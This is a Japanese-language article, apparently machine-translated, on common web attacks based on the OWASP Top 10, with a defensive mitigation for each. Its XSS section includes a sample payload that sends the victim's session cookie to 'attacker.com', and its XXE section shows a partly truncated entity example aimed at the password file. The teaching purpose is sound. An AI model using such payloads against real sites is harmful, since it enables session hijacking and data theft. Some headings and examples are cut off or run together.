よくあるWeb攻撃トップ10。 Webサイトを保護するための最初のステップ

ほとんどのアプリケーションは、それを使用する前に、ユーザー名とパスワードの組み合わせでログインすることをユーザーに要求します。 辞書攻撃、自動化されたブルート フォース、クレデンシャル スタッフィング、セッション ハイジャックなどです。

• すべてのデフォルト パスワードを変更する。
• すべてのユーザーに強力でランダムなパスワードを強制する：最低 12 文字のランダム文字で、制限なし、できればパスワード マネージャーに保存する。
• ログイン試行を制限し、一定数の間違ったパスワードの後にユーザーアカウントを一定期間ロックする。
• 長いセッション識別子をランダムに生成し、安全なセッションライフサイクルを実装する安全なプラットフォームのセッションマネージャーを使用する。
• Bcrypt や scrypt、Argon2 などの暗号化「パスワード ハッシュ」アルゴリズムでパスワードを保護する。

また、パスワードベースの攻撃を軽減するために多要素認証を実装し、攻撃者が「パスワードを忘れた」ページであなたの猫の名前を知ってパスワードをバイパスできるようにしないように検討する。 特定のアーキテクチャやコンテキストに応じて、関連する追加の詳細がいくつかあります。

3. 機密データの露出

機密データは通常、暗号化およびその他の暗号アルゴリズムで保護される必要があります。 しかし、これは不完全な方法で実装されることがあまりにも多く、パスワード、クレジットカード、個人情報 (PII)、およびその他のビジネスクリティカルなデータなど、攻撃者が取得できないはずの機密情報を取得することを許しています。

適切な暗号制御 (保存データには AES 暗号、トラフィックには HSTS を有効にした TLS など) と正しいパラメータを使用すれば、静止時と転送時の両方で機密データを十分に保護できるはずです。 XML External Entities (XXE)

多くの場合、アプリケーションはユーザーからXMLドキュメントを受信し、処理する必要があります。 古いXMLパーサーや不十分な設定のXMLパーサーは、XML文書内で外部実体参照と呼ばれるXML機能を有効にし、それが評価されると別のファイルの内容を埋め込んでしまうことがあります。 攻撃者はこれを悪用して、機密データの読み取り、内部システムへのアクセス、さらにはサービス拒否 (DoS) 攻撃でアプリケーションを停止させることができます。

たとえば、次の内容を含む XML ドキュメントは、

]>&xxe;

パスワード ファイルの内容を XML ドキュメント内に含むことになります。

これは、単にパーサーで DTD および外部エンティティ評価を無効にするか、または脆弱性のない最新のパーサー ライブラリにアップグレードすることで防ぐことができます。 壊れたアクセス制御

ほとんどの Web アプリケーションは、他のユーザーの個人データまたは制限された領域にアクセスするかどうか、ユーザーが見たり実行したりできることを制限します。 攻撃者はこれらの制御をバイパスしたり、それを悪用して、他のユーザーのアカウントへのアクセス、機密ファイルの閲覧、他のユーザーのデータの変更、管理操作など、未承認の機能またはデータへのアクセスを行うことができます。 すべてのアプリケーションの機能、システム要件、ユーザーの役割、およびその他の制約を完全かつ詳細にレビューすることが必要です。 要件に応じて、適用可能なさまざまな一般的なモデルがあります。 最も一般的なものには、役割ベースのアクセス制御 (RBAC)、裁量アクセス制御 (DAC)、および整合性ベースまたは強制アクセス制御 (MAC) があります。

その他のよりニッチなモデルとして、属性 (ABAC)、ポリシー (PBAC)、コンテキスト (CBAC) および分類 (特に DoD では、いくつかのモデルがある) や他のカスタムスキーマがあります。 アクセス制御モデルは、統一的に適用でき、効率的に管理できるようにうまく設計することが重要である。

さらに、多くのシステムでは、プライバシーの観点からユーザーの個人データへのアクセス制御の適用を考慮する必要があります。 特に EU の GDPR の更新を考慮すると、ユーザーのプライバシーを適切に保護し、同意なしのアクセスを防止することがさらに重要になっています。

6. セキュリティの誤設定

サーバーやアプリケーションには多くの可動部品があり、そのすべてが適切に設定されていることが必要です。 これは、オペレーティング システムやネットワーク デバイスから Web サーバーやアプリケーション自体まで、アプリケーション スタックのすべてのレベルで当てはまります。

デフォルト、不完全、またはその場しのぎの設定では、ファイルが保護されていない、デフォルト パスワードが有効、クラウド サービスを開いたまま、エラー メッセージや HTTP ヘッダーを通じて機密情報を漏洩したり、攻撃者がシステムやデータにアクセスできるように、その他の多数の安全でない設定を行ったりすることができます。 潜在的に脆弱な設定はすべて見直す必要があります。 これには、適時のシステムアップデートやパッチも含まれることに注意してください！

7. クロスサイトスクリプティング (XSS)

XSSを使用すると、攻撃者はアプリケーションで他のユーザーが見るウェブページを変更できます。これがパスワードやクレジットカードなどの情報を盗むためであれ、偽のデータを広げるためであれ、ユーザーセッションをハイジャックしたり、別のサイトにリダイレクトしたり、犠牲者のブラウザで不正なスクリプトを実行したりすることが可能です。

この脆弱性は、信頼できないデータが、適切な検証やサニタイズなしに、Web ページやレスポンスに含まれる場合に発生する可能性があります。 攻撃者は HTML または JavaScript のフラグメントを含むフォームを送信することができ、それらはページに直接埋め込まれ、ブラウザによってレンダリングされます。

たとえば、このサーバー コード:

response.write(“Good morning, ” + request.getParameter(“Name”));

ユーザーの名前パラメーターを直接出力に組み込みます。 これは、ユーザーの名前が「John」である場合、次のページを返すことを意図しています:

Good Morning, John

その代わりに、攻撃者は悪意のあるペイロードを注入することができます：

Good Morning, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

これはユーザーのブラウザによって実行され、ユーザーのセッション Cookie を攻撃者に送信し、攻撃者がセッションを乗っ取ることを可能にします。 たとえば、HTML エンコーディングは、すべての「特殊」文字を HTML エンティティに変換し、ユーザーには同じように表示されますが、パーサーには有効な HTML タグとして認識されないようにします。 しかし、データ出力の特定の状況に応じて、他の形式のエンコーディングを使用する必要があります。例えば、属性エンコーディング、JavaScriptエンコーディング、CSSエンコーディングなどです。 最近のほとんどの Web プラットフォームは、この機能を自動的に、または関数呼び出しとして提供し、そうでないものには多くのセキュリティ ライブラリがあります。

さらに、CSP (Content Security Policy) を実装し、XSS 攻撃を通過してブラウザが表示するのを防止するのがよい考えです。 また、セッション Cookie に HttpOnly 属性を設定することで、XSS 攻撃がユーザーのセッションを乗っ取るのを防ぐことができます。 安全でないデシリアライゼーション

このリストに新しく追加された安全でないデシリアライゼーションは、インジェクション攻撃や権限昇格を可能にし、特定の状況ではリモート コード実行やサーバー乗っ取りにつながる可能性さえあります。 アプリケーションがユーザーから受け取ったフォーマットされたデータをデシリアライズすることにより、これらのオブジェクトをメモリに戻すと、オブジェクトのメモリを改ざんし、任意の関数を実行させることさえ可能になるかもしれません。 可能であれば、ネイティブのデシリアライゼーション形式を完全に避け、代わりに XML や JSON などのデータ形式を好む方がはるかによいでしょう。 アプリケーションが開発された言語に応じて、安全に実行するために必要なさまざまな手順があります。 例えば、Javaの場合、java.io.ObjectInputStreamクラスのサブクラスを作成することができます。 さらに、アプリケーションがデジタル署名したデータのみからデシリアライズすることをお勧めします。 9. 既知の脆弱性を持つコンポーネントの使用

現代のソフトウェアはもはやモノリスとして構築されることはなく、常にますます多くのサード パーティ製コンポーネント、フレームワーク、およびオープン ソース ライブラリに依存しています。 これらの依存関係で見つかった既知の脆弱性は、自分のアプリケーションにも直接影響を与えることができます! 時には、インジェクション、リモート コード実行、または攻撃者が機密データやアクションにアクセスすることを可能にするその他の欠陥など、このリストにある他の脆弱性につながることがあります。 この罠にはまらないようにする最善の方法は、すべての依存関係 (推移的依存関係を含む) を確認し、現在脆弱性があるかどうかをチェックすることです。 アプリケーションが、依存するすべてのライブラリおよびコンポーネントをテストした後、常に最新の安定版を引き出すようにするプロセスを実装してください。 実際、OWASP の無償の Dependency-Check と同様に、チームのためにこれを追跡することができる多くの商用ツールが現在存在します。 ログの不足 & 監視

私たちは、可能な限りの攻撃からシステムを保護しようと努めていますが、現実的には、いくつかの攻撃が私たちの防御を突破することを受け入れる必要があります。 しかし、弾力的な防御はいくつかの層を含むべきである。 これには、すべての努力にもかかわらず成功した攻撃を、できればできるだけ早く検出する可能性も含まれます。

これにより、組織はまだ攻撃から回復したり、損害をできる限り小さくしたりすることができます。 効果的なインシデント対応と組み合わせたロギングおよび監視メカニズムにより、攻撃者が追加の内部リソースに軸足を移すことを防ぎ、組織内に恒久的に埋め込み、さらに多くのデータを盗んだり変更したりすることを抑制することができます。 log4J のような既存のライブラリを使用することが最善ですが、必須ではありません。 ログ機構は、すべてのユーザー起動のアクション、ランタイムエラー、および他の任意の機密イベントを収集する必要があります。 ログ データが十分に保護されていることを確認し、管理者に検索およびレビュー インターフェイスを提供することを忘れないでください！

良いニュースは、これらのほとんどは比較的単純な問題であり、何を探すべきかわかっていれば簡単に防ぐことができるということです。 したがって、これは、注意すべきすべてのセキュリティ問題の包括的なリストではありませんが、保護された Web サイトへの遠征を開始するには最適な場所の 1 つであることは間違いありません！

。